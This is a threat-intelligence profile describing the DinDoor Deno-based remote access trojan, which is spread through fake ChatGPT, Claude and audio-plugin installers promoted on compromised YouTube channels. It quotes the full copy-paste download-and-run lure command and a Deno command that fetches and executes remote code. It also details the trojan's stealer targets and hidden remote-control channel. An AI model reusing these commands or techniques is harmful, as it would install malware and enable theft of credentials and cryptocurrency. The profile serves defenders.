DinDoor Deno-Based RAT — Fake AI/Audio Software on GitHub & SourceForge (ChatGPT/Claude/AutoTune/Kontakt) via Compromised YouTube Channels — Threadlinqs Intelligence
As of 2026-05-30, DinDoor Deno-Based RAT — Fake AI/Audio Software on GitHub & SourceForge (ChatGPT/Claude/AutoTune/Kontakt) via Compromised YouTube Channels is a high-severity malware threat attributed to DinDoor Operators (Iran), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 62 indicators of compromise.
Threat ID: TL-2026-0590 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Attribution: DinDoor Operators · Iran · FINANCIAL
DinDoor is a Deno JavaScript runtime-based RAT (Tsundere Botnet variant) distributed through fake installers and plugins impersonating ChatGPT, Claude, AutoTune, Kontakt, ZENOLOGY, Ableton Live,
DinDoor is a Deno JavaScript runtime-based remote access trojan first publicly named in March 2026 and tracked as a variant of the Tsundere Botnet (a Node.js-era JavaScript RAT). Broadcom and Hunt.io attribute the malware family to Iran's MuddyWater (Seedworm) APT, while the consumer-facing campaign documented by Malwarebytes ThreatDown on 2026-05-26 may represent a separate operator cluster reusing the same DinDoor toolkit to monetize endpoint access via cryptocurrency and credential theft.
The Malwarebytes-documented campaign delivers DinDoor through fake installers and plugins hosted on GitHub (claude-free-plugin, ai-gen-profi, wharfdemolisherpit) and SourceForge (gearup, bluewaveremover) impersonating ChatGPT, Claude, AutoTune, Kontakt, ZENOLOGY, Ableton Live, GearUP, and BWR. Traffic is funneled from compromised YouTube channels with tutorial videos accumulating over 50,000 views before takedown. Repositories present both Windows and macOS terminal commands that users are instructed to copy and execute — a 'click-to-run-command' / terminal-paste social engineering pattern. A representative Windows command is: 'curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi'.
Stage 1 (package manager abuse): The MSI launches a PowerShell loader (observed names include Juliet_widget15.ps1 and tango_utility84.ps1) dropped to AppData\Local\documents\ and executed via cmd.exe with hidden window, no-profile, and bypass-execution-policy flags. The script ensures both Scoop (alternative Windows package manager) and WinGet (Microsoft Package Manager) are present and installs Deno via 'winget.exe install --id DenoLand.Deno -e --accept-source-agreements --silent'. Deno is downloaded from the legitimate dl.deno.land endpoint to %USERPROFILE%\.deno\bin\deno.exe with no administrative privileges required — a living-off-the-land pattern that bypasses signature-based detection because every binary on disk is signed and legitimate.
Stage 2 (Deno launcher & DinDoor RAT): Deno is invoked as 'deno.exe run -A http://{C2}/{random_path}.js' — the -A flag grants all runtime permissions. An eval-loop construct ('deno run -A --no-check –') fetches subsequent JavaScript stages without disk writes, often using 'data:application/javascript;base64' URIs to keep payloads memory-resident. The launcher binds a TCP listener on a fixed localhost port (10044 or 10091, sample-dependent) and exits if the port is already in use — acting as a single-instance mutex. It then fingerprints the host via a dual rolling hash (constant 0x9E3779B9) over USERNAME, hostname, total RAM, and OS release string, producing a 16-character hexadecimal victim ID attached to every C2 request.
Capabilities and stealer module: DinDoor exposes operator commands 'exec' (shell), 'exec-ps' (PowerShell), 'exec-sc' (service control), 'sysinfo', 'screenshot', and 'stealer'. The stealer targets 50+ cryptocurrency wallet browser extensions (Atomic Wallet, Exodus, Electrum, ByteCoin), Chromium-family and other browsers (Chrome, Chromium, Brave, Edge, Opera, Vivaldi, CentBrowser), messaging clients (Telegram, Discord, Lightcord), clipboard contents (with hijack/modification capability), and selected files via file system enumeration.
Novel P2P C2 via Microsoft Edge: DinDoor's most distinctive capability is a peer-to-peer streaming mode that spawns hidden Microsoft Edge browser processes through the Chrome DevTools Protocol (CDP), injects WebRTC HTML pages into those Edge contexts, captures H.264-encoded screen frames, and streams encrypted peer-to-peer video and control directly to operators via WebSocket-based signaling — bypassing the C2 server for live interactive sessions and severely complicating network-based detection. A custom VNC implementation over WebSocket provides full bidirectional remote desktop control for non-streaming scenarios.
Persistence and C2 infrastructure: Persistence is established via the PowerShell
Weaknesses (CWE)
CWE-829, CWE-506, CWE-494, CWE-300
Target sectors: consumer, creative-industries, music-production, gaming, media, education, small-business, government
Target regions: North America, Europe, Global
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 62 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1583.001, T1586.001, T1587.001, T1588.003, T1189, T1566.002, T1204.002, T1059.001, T1059.003, T1059.004